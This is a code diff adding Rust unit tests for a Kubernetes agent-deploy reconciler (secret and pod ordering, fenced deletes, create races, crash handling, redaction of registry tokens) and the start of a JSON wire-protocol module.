+    fn run(fake: &Fake, id: &AgentIdentity, cfg: &ProviderConfig) -> Result<String, String> {
+        block_on(deploy(fake, id, cfg, env()))
+    }
+
+    /// Minimal executor: the fake never yields to a reactor (no timers, no
+    /// I/O — `sleep` just advances a counter), so polling to completion is
+    /// sufficient and avoids pulling a runtime into the unit job.
+    fn block_on<T>(fut: impl Future<Output = T>) -> T {
+        fn noop_waker() -> Waker {
+            fn nop(_: *const ()) {}
+            fn clone(_: *const ()) -> RawWaker {
+                RawWaker::new(std::ptr::null(), &VTABLE)
+            }
+            static VTABLE: RawWakerVTable = RawWakerVTable::new(clone, nop, nop, nop);
+            unsafe { Waker::from_raw(RawWaker::new(std::ptr::null(), &VTABLE)) }
+        }
+
+        let waker = noop_waker();
+        let mut cx = Context::from_waker(&waker);
+        let mut fut = pin!(fut);
+        match fut.as_mut().poll(&mut cx) {
+            Poll::Ready(v) => v,
+            Poll::Pending => panic!("fake substrate future parked — it has no reactor"),
+        }
+    }
+
+    // ---- the state machine's rows, end to end -------------------------------
+
+    /// First deploy: Secret before pod, and the returned id is the pod name.
+    #[test]
+    fn creates_secret_then_pod_and_returns_the_pod_name() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default();
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                if let Some(pod) = pods.get_mut(&name) {
+                    pod.status = Some(PodStatus {
+                        phase: Some("Running".into()),
+                        container_statuses: Some(vec![ContainerStatus {
+                            name: crate::observe::CONTAINER_NAME.into(),
+                            state: Some(running()),
+                            ..Default::default()
+                        }]),
+                        ..Default::default()
+                    });
+                }
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+
+        let calls = fake.mutations();
+        let secret_at = calls
+            .iter()
+            .position(|c| c.starts_with("create_secret"))
+            .unwrap();
+        let pod_at = calls
+            .iter()
+            .position(|c| c.starts_with("create_pod"))
+            .unwrap();
+        assert!(
+            secret_at < pod_at,
+            "pod created before its Secret: {calls:?}"
+        );
+    }
+
+    /// The strict no-op row: a started pod returns its id having mutated
+    /// nothing at all. Asserted on the *call log*, not on final state — a
+    /// delete-then-recreate would leave identical final state.
+    #[test]
+    fn started_pod_is_a_zero_mutation_no_op() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(running())));
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert_eq!(
+            fake.mutations(),
+            [format!("ensure_namespace {}", cfg.namespace)],
+            "the no-op row mutated something"
+        );
+    }
+
+    /// ...including when the desired intent has diverged. Edits reach a
+    /// started pod only via the next generation (`:861-865`).
+    #[test]
+    fn started_pod_no_ops_under_divergent_intent() {
+        let id = identity();
+        let cfg = config();
+        let mut pod = our_pod(&id, &cfg, Some(running()));
+        pod.metadata.annotations.as_mut().unwrap().insert(
+            ANNOTATION_CREATE_INTENT.to_string(),
+            "stale-fingerprint".into(),
+        );
+        let fake = Fake::default().with_pod(pod);
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert!(
+            !fake.mutations().iter().any(|c| c.starts_with("delete_pod")),
+            "divergence deleted a started pod"
+        );
+    }
+
+    /// Terminated → fenced delete → disappearance → recreate. The normal
+    /// restart path, and the fence must carry the observed uid/rv.
+    #[test]
+    fn terminated_pod_is_replaced_with_a_fenced_delete() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(terminated())));
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                if let Some(pod) = pods.get_mut(&name) {
+                    if pod
+                        .status
+                        .as_ref()
+                        .and_then(|s| s.container_statuses.as_ref())
+                        .is_none()
+                    {
+                        pod.status = Some(PodStatus {
+                            phase: Some("Running".into()),
+                            container_statuses: Some(vec![ContainerStatus {
+                                name: crate::observe::CONTAINER_NAME.into(),
+                                state: Some(running()),
+                                ..Default::default()
+                            }]),
+                            ..Default::default()
+                        });
+                    }
+                }
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        let calls = fake.mutations();
+        assert!(
+            calls
+                .iter()
+                .any(|c| c == &format!("delete_pod {} uid=uid-1 rv=100", id.pod_name())),
+            "delete was not fenced to the observed uid+resourceVersion: {calls:?}"
+        );
+        assert!(calls.iter().any(|c| c.starts_with("create_pod")));
+    }
+
+    /// A failed precondition is neither an error nor permission to retry the
+    /// delete: re-enter and classify what exists now (`:775-777`). Here the
+    /// object has become a *started* pod, so the correct outcome is the no-op
+    /// row — never a second delete with a fresher fence.
+    #[test]
+    fn precondition_failure_reclassifies_instead_of_retrying() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(terminated())));
+        fake.delete_outcomes
+            .borrow_mut()
+            .push(DeleteOutcome::PreconditionFailed);
+        // The writer we lost the race to: between our observation and our
+        // delete, the pod under this name became a *started* one with a new
+        // resourceVersion. Installed on the poll that follows the failed
+        // precondition, so the sequence is observe → delete → lose → re-observe.
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            let started = {
+                let mut p = our_pod(&id, &cfg, Some(running()));
+                p.metadata.resource_version = Some("200".into());
+                p
+            };
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                pods.insert(name.clone(), started.clone());
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        let deletes: Vec<_> = fake
+            .mutations()
+            .into_iter()
+            .filter(|c| c.starts_with("delete_pod"))
+            .collect();
+        // Two call sites legitimately target a terminated pod: preflight GC's
+        // sweep (which is the one that loses the precondition here) and the
+        // state machine's terminated row. Both are fenced on their own
+        // observation. What must never happen is a *third* — a retry of the
+        // failed delete — so the invariant is the fence, not the count: every
+        // delete carries rv=100, the version we observed. A retry would carry
+        // the racing writer's rv=200.
+        assert_eq!(deletes.len(), 2, "unexpected delete traffic: {deletes:?}");
+        assert!(
+            deletes.iter().all(|d| d.contains("rv=100")),
+            "retried with a fresher fence: {deletes:?}"
+        );
+    }
+
+    /// The anti-livelock rule, at the loop level: a recoverable pod whose
+    /// intent matches is observed until the deadline and **never** deleted —
+    /// the case that would otherwise reset the pod age Cluster Autoscaler
+    /// keys on (`:689`).
+    #[test]
+    fn recoverable_pod_with_matching_intent_is_never_deleted() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(waiting("Unschedulable"))));
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("startup not confirmed"), "got: {err}");
+        assert!(
+            !fake.mutations().iter().any(|c| c.starts_with("delete_pod")),
+            "deleted a recoverable pod: {:?}",
+            fake.mutations()
+        );
+        assert!(fake.elapsed() >= DEADLINE, "gave up before the deadline");
+    }
+
+    /// The same pod, provisioned late: the observation loop must *succeed*
+    /// when the autoscaler eventually lands the node, not merely avoid
+    /// deleting.
+    #[test]
+    fn recoverable_pod_that_starts_late_succeeds() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(waiting("Unschedulable"))));
+        let polls = RefCell::new(0);
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                *polls.borrow_mut() += 1;
+                if *polls.borrow() >= 5 {
+                    if let Some(pod) = pods.get_mut(&name) {
+                        pod.status.as_mut().unwrap().container_statuses =
+                            Some(vec![ContainerStatus {
+                                name: crate::observe::CONTAINER_NAME.into(),
+                                state: Some(running()),
+                                ..Default::default()
+                            }]);
+                    }
+                }
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert!(fake.elapsed() < DEADLINE);
+    }
+
+    /// A permanent pull failure reports immediately rather than burning the
+    /// deadline — and still never deletes.
+    #[test]
+    fn permanent_pull_failure_reports_without_deleting() {
+        let id = identity();
+        let cfg = config();
+        let mut pod = our_pod(&id, &cfg, None);
+        pod.status = Some(PodStatus {
+            phase: Some("Pending".into()),
+            container_statuses: Some(vec![ContainerStatus {
+                name: crate::observe::CONTAINER_NAME.into(),
+                state: Some(ContainerState {
+                    waiting: Some(ContainerStateWaiting {
+                        reason: Some("ImagePullBackOff".into()),
+                        message: Some("manifest unknown".into()),
+                    }),
+                    ..Default::default()
+                }),
+                ..Default::default()
+            }]),
+            ..Default::default()
+        });
+        let fake = Fake::default().with_pod(pod);
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("no image at"), "got: {err}");
+        assert!(
+            fake.elapsed() < DEADLINE,
+            "burned the deadline on a permanent failure"
+        );
+        assert!(!fake.mutations().iter().any(|c| c.starts_with("delete_pod")));
+    }
+
+    /// The kubelet's pull *message* can echo a registry request; only the
+    /// classified outcome and the image reference reach the user.
+    #[test]
+    fn pull_failure_message_is_not_echoed_verbatim() {
+        let id = identity();
+        let cfg = config();
+        let mut pod = our_pod(&id, &cfg, None);
+        pod.status = Some(PodStatus {
+            phase: Some("Pending".into()),
+            container_statuses: Some(vec![ContainerStatus {
+                name: crate::observe::CONTAINER_NAME.into(),
+                state: Some(ContainerState {
+                    waiting: Some(ContainerStateWaiting {
+                        reason: Some("ErrImagePull".into()),
+                        message: Some(
+                            "unauthorized: authentication required, token=SUPERSECRET".into(),
+                        ),
+                    }),
+                    ..Default::default()
+                }),
+                ..Default::default()
+            }]),
+            ..Default::default()
+        });
+        let fake = Fake::default().with_pod(pod);
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(
+            !err.contains("SUPERSECRET"),
+            "kubelet message echoed: {err}"
+        );
+    }
+
+    /// A pod being gracefully deleted stays in phase `Running` for its whole
+    /// grace period. The reconciler must wait it out and recreate, not return
+    /// an id that evaporates.
+    #[test]
+    fn deletion_marked_pod_is_awaited_then_recreated() {
+        let id = identity();
+        let cfg = config();
+        let mut dying = our_pod(&id, &cfg, Some(running()));
+        dying.metadata.deletion_timestamp = Some(Time(Utc::now()));
+        let fake = Fake::default().with_pod(dying);
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                match pods
+                    .get(&name)
+                    .map(|p| p.metadata.deletion_timestamp.is_some())
+                {
+                    // The grace period elapses: the object disappears.
+                    Some(true) => {
+                        pods.remove(&name);
+                    }
+                    // The replacement we create then starts.
+                    Some(false) => {
+                        let pod = pods.get_mut(&name).unwrap();
+                        pod.status = Some(PodStatus {
+                            phase: Some("Running".into()),
+                            container_statuses: Some(vec![ContainerStatus {
+                                name: crate::observe::CONTAINER_NAME.into(),
+                                state: Some(running()),
+                                ..Default::default()
+                            }]),
+                            ..Default::default()
+                        });
+                    }
+                    None => {}
+                }
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert!(
+            !fake.mutations().iter().any(|c| c.starts_with("delete_pod")),
+            "deleted a pod that was already terminating"
+        );
+    }
+
+    /// `CreateContainerConfigError` is settled by a most-recent Secret read,
+    /// never by the reason string: Secret present → recoverable (observe).
+    #[test]
+    fn config_error_with_a_present_secret_is_recoverable() {
+        let id = identity();
+        let cfg = config();
+        let pod = our_pod(&id, &cfg, Some(waiting("CreateContainerConfigError")));
+        let referenced = crate::observe::referenced_secret(&pod).unwrap();
+        let fake = Fake::default().with_pod(pod);
+        fake.secrets.borrow_mut().push(crate::pod::build_secret(
+            &id,
+            &cfg.namespace,
+            "gen-existing",
+            env(),
+        ));
+        assert_eq!(referenced, id.secret_name("gen-existing"));
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("startup not confirmed"), "got: {err}");
+        assert!(
+            !fake.mutations().iter().any(|c| c.starts_with("delete_pod")),
+            "deleted a pod whose Secret exists"
+        );
+    }
+
+    /// ...and Secret confirmed absent → provably broken → fenced replace.
+    #[test]
+    fn config_error_with_a_confirmed_absent_secret_is_replaced() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(
+            &id,
+            &cfg,
+            Some(waiting("CreateContainerConfigError")),
+        ));
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                if let Some(pod) = pods.get_mut(&name) {
+                    if pod
+                        .status
+                        .as_ref()
+                        .and_then(|s| s.container_statuses.as_ref())
+                        .is_none()
+                    {
+                        pod.status = Some(PodStatus {
+                            phase: Some("Running".into()),
+                            container_statuses: Some(vec![ContainerStatus {
+                                name: crate::observe::CONTAINER_NAME.into(),
+                                state: Some(running()),
+                                ..Default::default()
+                            }]),
+                            ..Default::default()
+                        });
+                    }
+                }
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert!(fake.mutations().iter().any(|c| c.starts_with("delete_pod")));
+    }
+
+    /// The generation is the Secret's name suffix *and* the lifecycle
+    /// correlator inside it. They must name the same generation, or pod logs
+    /// point at a Secret that was never mounted. The caller stamps one
+    /// generation into the env once; each create attempt mints its own, so
+    /// only a restamp keeps the pair together across a retry.
+    #[test]
+    fn each_attempt_stamps_its_own_generation_into_its_own_secret() {
+        let id = identity();
+        let cfg = config();
+        // First attempt loses the create race and is cleaned up; the operation
+        // then adopts. Two creates, two generations.
+        let fake = Fake::default();
+        *fake.winner.borrow_mut() = Some(our_pod(&id, &cfg, Some(running())));
+        fake.create_outcomes
+            .borrow_mut()
+            .push(CreateOutcome::AlreadyExists);
+
+        run(&fake, &id, &cfg).unwrap();
+
+        let created = fake.created_secrets.borrow();
+        // Guard the guard: this assertion is over a list that cleanup empties,
+        // so an empty list would make every check below vacuously true.
+        assert_eq!(created.len(), 1, "expected one create attempt");
+        for secret in created.iter() {
+            let name = secret.metadata.name.as_deref().unwrap();
+            let nonce = secret
+                .string_data
+                .as_ref()
+                .and_then(|d| d.get(crate::env::START_NONCE_KEY))
+                .expect("no lifecycle correlator in the Secret");
+            assert!(
+                name.ends_with(nonce.as_str()),
+                "secret {name} carries a correlator for a different generation ({nonce})"
+            );
+        }
+    }
+
+    // ---- bounded replacement ------------------------------------------------
+
+    /// Installs a hook that makes every pod under `name` crash-exit before the
+    /// next poll — a deterministic startup failure (the harness starts, rejects
+    /// its configuration, and exits) as observed live: the container reaches
+    /// `state.terminated` with a nonzero exit code.
+    fn crash_exits_immediately(fake: &Fake, name: String) {
+        fake.on_poll
+            .borrow_mut()
+            .push(Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                if let Some(pod) = pods.get_mut(&name) {
+                    if pod
+                        .status
+                        .as_ref()
+                        .and_then(|s| s.container_statuses.as_ref())
+                        .is_none()
+                    {
+                        pod.status = Some(PodStatus {
+                            phase: Some("Failed".into()),
+                            container_statuses: Some(vec![ContainerStatus {
+                                name: crate::observe::CONTAINER_NAME.into(),
+                                state: Some(ContainerState {
+                                    terminated: Some(ContainerStateTerminated {
+                                        exit_code: 1,
+                                        reason: Some("Error".into()),
+                                        ..Default::default()
+                                    }),
+                                    ..Default::default()
+                                }),
+                                ..Default::default()
+                            }]),
+                            ..Default::default()
+                        });
+                    }
+                }
+            }));
+    }
+
+    /// A pod that this call created and that crash-exits deterministically is
+    /// reported in-band after exactly ONE attempt — never hot-replaced until
+    /// the deadline. The live failure this pins: one delete/create cycle every
+    /// ~4s minted 107 immutable Secrets in a single 600s deploy call, all
+    /// younger than the orphan sweep's age gate.
+    #[test]
+    fn a_deterministic_crash_exit_is_reported_not_hot_replaced() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default();
+        crash_exits_immediately(&fake, id.pod_name());
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+
+        let creates = fake
+            .mutations()
+            .iter()
+            .filter(|c| c.starts_with("create_secret"))
+            .count();
+        assert_eq!(
+            creates, 1,
+            "hot replacement loop: {creates} Secrets minted in one deploy call"
+        );
+        assert!(
+            err.contains("exited with code 1"),
+            "error does not carry the exit: {err}"
+        );
+        // The failed attempt is left in place as evidence — no cleanup on the
+        // error path. Its Secret stays referenced by the terminated pod, so
+        // the next deploy's preflight GC collects both together.
+        assert!(
+            !fake
+                .mutations()
+                .iter()
+                .any(|c| c.starts_with("delete_pod") || c.starts_with("delete_secret")),
+            "the failed attempt was cleaned up on the error path: {:?}",
+            fake.mutations()
+        );
+        assert!(
+            fake.elapsed() < DEADLINE,
+            "burned the whole deadline on a deterministic failure"
+        );
+    }
+
+    /// The revive path is untouched: terminated residue from a *previous*
+    /// life is still replaced — the bound is on pods this call created, not
+    /// on the row.
+    #[test]
+    fn pre_existing_terminated_residue_is_still_replaced_once() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(terminated())));
+        crash_exits_immediately(&fake, id.pod_name());
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("exited with code 1"), "got: {err}");
+
+        let calls = fake.mutations();
+        let deletes = calls.iter().filter(|c| c.starts_with("delete_pod")).count();
+        let creates = calls
+            .iter()
+            .filter(|c| c.starts_with("create_secret"))
+            .count();
+        // Exactly one residue delete (the normal restart path) and one fresh
+        // attempt — then report, not another cycle.
+        assert_eq!(deletes, 1, "unexpected delete traffic: {calls:?}");
+        assert_eq!(creates, 1, "unexpected create traffic: {calls:?}");
+    }
+
+    /// Retry is gated on fresh owner intent: the *next* deploy call clears
+    /// the crashed attempt (preflight GC collects the terminated pod and its
+    /// referenced Secret together) and makes exactly one new attempt — total
+    /// litter stays one pod + one Secret however many times Start is pressed.
+    #[test]
+    fn the_next_deploy_collects_the_crashed_attempt_before_its_own_attempt() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default();
+        crash_exits_immediately(&fake, id.pod_name());
+
+        run(&fake, &id, &cfg).unwrap_err();
+        // Second Start: fresh call, fresh clock.
+        *fake.elapsed.borrow_mut() = Duration::ZERO;
+        run(&fake, &id, &cfg).unwrap_err();
+
+        assert_eq!(
+            fake.secrets.borrow().len(),
+            1,
+            "crashed attempts accumulated Secrets across calls"
+        );
+        assert_eq!(fake.pods.borrow().len(), 1, "crashed pods accumulated");
+    }
+
+    // ---- the auto-repair fence ----------------------------------------------
+
+    /// An object under our deterministic name that lacks the management
+    /// marker is not ours. The reconciler must not adopt it, delete it, or
+    /// return its name — it fails closed to the operator (`:1156-1162`).
+    #[test]
+    fn an_unmarked_look_alike_is_never_touched_or_adopted() {
+        let id = identity();
+        let cfg = config();
+        let mut look_alike = our_pod(&id, &cfg, Some(running()));
+        look_alike
+            .metadata
+            .labels
+            .as_mut()
+            .unwrap()
+            .remove(LABEL_MANAGED_BY);
+        let fake = Fake::default();
+        // Our create loses to the object already sitting on the name.
+        *fake.winner.borrow_mut() = Some(look_alike);
+        fake.create_outcomes
+            .borrow_mut()
+            .push(CreateOutcome::AlreadyExists);
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("not managed by this provider"), "got: {err}");
+        assert!(
+            !fake.mutations().iter().any(|c| c.starts_with("delete_pod")),
+            "deleted an object we do not own"
+        );
+    }
+
+    /// Same fence, other direction: the marker is present but the annotation
+    /// carries a different agent's pubkey. The 32-hex label is
+    /// collision-resistant, not collision-free (`:1152-1155`).
+    #[test]
+    fn a_pubkey_mismatch_is_never_adopted() {
+        let id = identity();
+        let other = identity();
+        let cfg = config();
+        let mut foreign = our_pod(&id, &cfg, Some(running()));
+        foreign.metadata.annotations.as_mut().unwrap().insert(
+            ANNOTATION_PUBKEY_FULL.to_string(),
+            other.pubkey_hex().to_string(),
+        );
+        let fake = Fake::default();
+        *fake.winner.borrow_mut() = Some(foreign);
+        fake.create_outcomes
+            .borrow_mut()
+            .push(CreateOutcome::AlreadyExists);
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("different agent identity"), "got: {err}");
+        assert!(!fake.mutations().iter().any(|c| c.starts_with("delete_pod")));
+    }
+
+    // ---- create-conflict convergence ---------------------------------------
+
+    /// The loser adopts the winner, returns the winner's id, and deletes
+    /// **only its own** Secret — never the winner's (`:1259-1264`).
+    #[test]
+    fn create_loser_adopts_the_winner_and_drops_only_its_own_secret() {
+        let id = identity();
+        let cfg = config();
+        let winner = our_pod(&id, &cfg, Some(running()));
+        let winners_secret = crate::observe::referenced_secret(&winner).unwrap();
+        let fake = Fake::default();
+        *fake.winner.borrow_mut() = Some(winner);
+        fake.secrets.borrow_mut().push(crate::pod::build_secret(
+            &id,
+            &cfg.namespace,
+            "gen-existing",
+            env(),
+        ));
+        fake.create_outcomes
+            .borrow_mut()
+            .push(CreateOutcome::AlreadyExists);
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+
+        let deleted: Vec<_> = fake
+            .mutations()
+            .into_iter()
+            .filter(|c| c.starts_with("delete_secret"))
+            .collect();
+        assert_eq!(
+            deleted.len(),
+            1,
+            "expected exactly our own Secret dropped: {deleted:?}"
+        );
+        assert!(
+            !deleted[0].contains(&winners_secret),
+            "deleted the winner's Secret: {deleted:?}"
+        );
+        assert!(
+            fake.secrets
+                .borrow()
+                .iter()
+                .any(|s| s.metadata.name.as_deref() == Some(winners_secret.as_str())),
+            "the winner's Secret is gone"
+        );
+    }
+
+    /// The loser must not apply the divergence row to the pod that just beat
+    /// it — that is the ping-pong the spec forbids (`:845-850`). A divergent
+    /// *started* winner is adopted as-is.
+    #[test]
+    fn create_loser_does_not_replace_a_divergent_winner() {
+        let id = identity();
+        let cfg = config();
+        let mut winner = our_pod(&id, &cfg, Some(running()));
+        winner.metadata.annotations.as_mut().unwrap().insert(
+            ANNOTATION_CREATE_INTENT.to_string(),
+            "a-different-intent".into(),
+        );
+        let fake = Fake::default();
+        *fake.winner.borrow_mut() = Some(winner);
+        fake.create_outcomes
+            .borrow_mut()
+            .push(CreateOutcome::AlreadyExists);
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert!(
+            !fake.mutations().iter().any(|c| c.starts_with("delete_pod")),
+            "the create loser deleted the winner"
+        );
+    }
+
+    /// The loser waits for the winner to *start* — adopting a not-yet-started
+    /// winner as success would report an agent that is not running.
+    #[test]
+    fn create_loser_waits_for_the_winner_to_start() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default();
+        *fake.winner.borrow_mut() = Some(our_pod(&id, &cfg, Some(waiting("ContainerCreating"))));
+        fake.create_outcomes
+            .borrow_mut()
+            .push(CreateOutcome::AlreadyExists);
+        let polls = RefCell::new(0);
+        fake.on_poll.borrow_mut().push({
+            let name = id.pod_name();
+            Box::new(move |pods: &mut BTreeMap<String, Pod>| {
+                *polls.borrow_mut() += 1;
+                if *polls.borrow() >= 3 {
+                    if let Some(pod) = pods.get_mut(&name) {
+                        pod.status.as_mut().unwrap().container_statuses =
+                            Some(vec![ContainerStatus {
+                                name: crate::observe::CONTAINER_NAME.into(),
+                                state: Some(running()),
+                                ..Default::default()
+                            }]);
+                    }
+                }
+            })
+        });
+
+        assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name());
+        assert!(fake.elapsed() > Duration::ZERO, "did not wait at all");
+    }
+
+    // ---- deadline and namespace --------------------------------------------
+
+    /// Deadline expiry reports the *latest* condition, not a generic timeout
+    /// (`:699-701`), and triggers no cleanup (`:720-724`).
+    #[test]
+    fn deadline_expiry_reports_the_condition_and_cleans_up_nothing() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(waiting("ContainerCreating"))));
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("ContainerCreating"), "generic timeout: {err}");
+        let calls = fake.mutations();
+        assert!(
+            !calls.iter().any(|c| c.starts_with("delete_")),
+            "deadline expiry triggered cleanup: {calls:?}"
+        );
+    }
+
+    /// An RBAC denial on namespace create fails the deploy with the literal
+    /// command to run, before any Secret is written (`:1002-1005`).
+    #[test]
+    fn namespace_denial_fails_before_writing_any_secret() {
+        let id = identity();
+        let cfg = config();
+        let fake = Fake {
+            namespace_error: Some(format!(
+                "not authorized to create namespaces: run `kubectl create namespace {}`",
+                cfg.namespace
+            )),
+            ..Default::default()
+        };
+
+        let err = run(&fake, &id, &cfg).unwrap_err();
+        assert!(err.contains("kubectl create namespace"), "got: {err}");
+        assert!(
+            fake.mutations().is_empty(),
+            "wrote something after a namespace denial: {:?}",
+            fake.mutations()
+        );
+    }
+
+    /// GC failures are hygiene, not deploy failures: a list the user cannot
+    /// perform must not block a deploy they can.
+    #[test]
+    fn a_gc_failure_does_not_fail_the_deploy() {
+        struct GcDenied(Fake);
+        impl Substrate for GcDenied {
+            async fn ensure_namespace(&self, ns: &str) -> Result<(), String> {
+                self.0.ensure_namespace(ns).await
+            }
+            async fn list_pods(
+                &self,
+                _s: &str,
+            ) -> Result<(Vec<Pod>, Option<DateTime<Utc>>), String> {
+                Err("forbidden: cannot list pods".into())
+            }
+            async fn list_secrets(&self, _s: &str) -> Result<Vec<Secret>, String> {
+                Err("forbidden: cannot list secrets".into())
+            }
+            async fn secret_exists(&self, n: &str) -> Result<bool, String> {
+                self.0.secret_exists(n).await
+            }
+            async fn create_secret(&self, s: &Secret) -> Result<(), String> {
+                self.0.create_secret(s).await
+            }
+            async fn create_pod(&self, p: &Pod) -> Result<CreateOutcome, String> {
+                self.0.create_pod(p).await
+            }
+            async fn delete_pod(&self, n: &str, f: &Fence) -> Result<DeleteOutcome, String> {
+                self.0.delete_pod(n, f).await
+            }
+            async fn delete_secret(&self, n: &str) -> Result<(), String> {
+                self.0.delete_secret(n).await
+            }
+            async fn get_pod(&self, n: &str) -> Result<Option<Pod>, String> {
+                self.0.get_pod(n).await
+            }
+            async fn sleep(&self, d: Duration) {
+                self.0.sleep(d).await
+            }
+            fn elapsed(&self) -> Duration {
+                self.0.elapsed()
+            }
+        }
+
+        let id = identity();
+        let cfg = config();
+        let inner = Fake::default().with_pod(our_pod(&id, &cfg, Some(running())));
+        let fake = GcDenied(inner);
+
+        assert_eq!(
+            block_on(deploy(&fake, &id, &cfg, env())).unwrap(),
+            id.pod_name()
+        );
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/wire.rs b/crates/buzz-backend-kubernetes/src/wire.rs
new file mode 100644
index 0000000000..89b78b364d
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/wire.rs
@@ -0,0 +1,250 @@
+//! The stdin/stdout JSON protocol (spec §Provider Protocol).
+//!
+//! One process per operation: one JSON object in, one JSON object out.
+//! These types are this provider's view of the contract; the golden fixtures
+//! in `tests/fixtures/provider-wire/` are the arbiter shared with the desktop.
+
+use serde::{Deserialize, Serialize};
+use std::collections::BTreeMap;
+
+/// The wire-contract version this provider speaks (spec §Info).
+pub const PROTOCOL_VERSION: u32 = 1;
+
+/// Request envelope. `op` discriminates; unknown ops are an in-band error.
+///
+/// `request_id` is deliberately absent from every variant. The desktop sends
+/// it, but the exchange is one request and one response per process, so there
+/// is nothing to correlate and nothing in the response schema to echo it into
+/// (`:387`, `:416` — neither response shape carries it). Serde ignores it on
+/// the way in, so a caller that sends it is accepted; typing it would only
+/// create a field nothing reads.
+#[derive(Debug, Deserialize)]
+#[serde(tag = "op", rename_all = "lowercase")]
+pub enum Request {
+    Info,
+    Deploy(Box<DeployRequest>),
+}
+
+#[derive(Debug, Deserialize)]
+pub struct DeployRequest {
+    pub agent: AgentPayload,
+    #[serde(default)]
+    pub provider_config: serde_json::Value,
+}
+
+/// The agent payload (spec §Deploy).
+///
+/// Only the fields this binding actually consumes are typed. `name` (display
+/// name), `model`, `provider`, and `turn_timeout_seconds` are deliberately
+/// absent: object names derive from the pubkey, not the display name
+/// (`:1150-1152`), the model/provider pair arrives already resolved inside
+/// `launch`, and the timeout is ignored upstream — typing any of them would
+/// invite a provider-side remap the spec forbids.
+#[derive(Debug, Deserialize)]
+pub struct AgentPayload {
+    pub relay_url: String,
+    pub private_key_nsec: String,
+    #[serde(default)]
+    pub auth_tag: Option<String>,
+    #[serde(default)]
+    pub respond_to: Option<String>,
+    #[serde(default)]
+    pub respond_to_allowlist: Option<Vec<String>>,
+    /// User env, already merged global < persona < agent by the desktop and
+    /// already stripped of reserved keys. Superseded by `launch.env` when
+    /// `launch` is present — a provider MUST NOT re-merge it on top
+    /// (§Launch data, precedence tier 2).
+    #[serde(default)]
+    pub env_vars: BTreeMap<String, String>,
+    /// The desktop-resolved launch contract. Absent only from a desktop
+    /// predating Known Defect 3's fix.
+    #[serde(default)]
+    pub launch: Option<LaunchBlock>,
+}
+
+/// Desktop-resolved launch data (spec §Launch data).
+#[derive(Debug, Default, Deserialize)]
+pub struct LaunchBlock {
+    /// Command *name*, resolved against the image's PATH — never a host path.
+    #[serde(default)]
+    pub command: Option<String>,
+    #[serde(default)]
+    pub args: Vec<String>,
+    /// Layered env: baked → runtime metadata → definition → global → persona
+    /// → agent. Precedence tier 2.
+    #[serde(default)]
+    pub env: BTreeMap<String, String>,
+    /// Overridable behavior defaults. Precedence tier 1 — user env beats
+    /// these, matching the local spawn.
+    #[serde(default)]
+    pub policy_env: BTreeMap<String, String>,
+    /// Resolved workspace owner (hex). The respond-to gate's one
+    /// irreducible input; without it or `auth_tag` the harness cannot match
+    /// `!shutdown`.
+    #[serde(default)]
+    pub owner_pubkey: Option<String>,
+}
+
+/// Response envelope. Serialized flat — `{"ok": true, …}` — because the
+/// desktop reads `ok`, `error`, and `agent_id` off the top level.
+#[derive(Debug, Serialize)]
+#[serde(untagged)]
+pub enum Response {
+    Info(InfoResponse),
+    Deploy(DeployResponse),
